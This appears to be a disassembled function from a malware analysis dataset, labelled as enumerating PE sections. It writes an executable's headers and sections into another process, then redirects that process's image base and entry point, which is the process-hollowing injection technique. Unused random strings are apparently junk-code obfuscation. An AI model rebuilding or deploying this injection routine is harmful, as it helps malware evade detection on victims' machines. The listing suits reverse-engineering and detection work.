Function at 0x406950
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415e10
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x4473c8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
push 0x421ebc
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 0x24]
call eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x448720]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x24], str.p4vCuWTuL5BsHqgN6Wy0qfvIAO30C25aDmMDXnVUdCjcImFBLMKSe6pYOMC4XO5AYCLO81vDBCnHOfGf1oRXKO83eHa0Cca1i0G2SopBcYFjb0jliNotm6Dxl5Ac038q5RIhxVeDikB0UXIPEcNEMDDUQ7jDoJ7dtO9DO2jkqX8f2Xo0O2ARd3CrwKgSX2s3gAcfO2M9bTFcni6p7UgzaSPhlzU6OdNURc9jYfwnlQcvKEO0yGlfzHiknUeYTX1ckNh9fVa6PfcrNfP1LnnuLWLnQNFP5sgwoNT9Oh9hGdDP4GH32eW0r6N2aWhw6iYSmLkJotBE6y3615e0fFAtHvIHMMwvAwQDevSs1BwPoOqeXWs6WmVL4xAEpstO6GOoC1VW7JBf3flL9iKU
mov dword [ebp - 0x18], 0
jmp 0x4069cf
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x406a2e
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], str.ovwiMi1VeTQyCrhEhqkMHEmXCVv2ACb6r3mwSyCYHI5jmIuIckAXkA62SnUhrvOOxHj7J1tEFghhWDmzQwkrggdGgkxaf710Ar5Rbixfgyj7ELHOWUUEw6NGpsHI9BssABhmS8vubttL2lB0iOLMXHDizneiDM13CVuTnrJGHMyr0ggJITaMfLcjzxjtx6NCPzizXgkCGaKBL19DbfooRbF2NjG5XC72s2agQM4CzbJ0TLUkGkF59UWhfXuhq5rcMfyzYkrunhEChkpsl1b8faCosCjpHQvYeuRScmEBFM4I
mov dword [ebp - 0x2c], str.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
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [0x448720]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x4069c6
push 0
push 4
mov edx, dword [ebp + 0x10]
add edx, 0x34
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [0x448720]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0xb0], ecx
mov al, 1
jmp 0x406a93
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14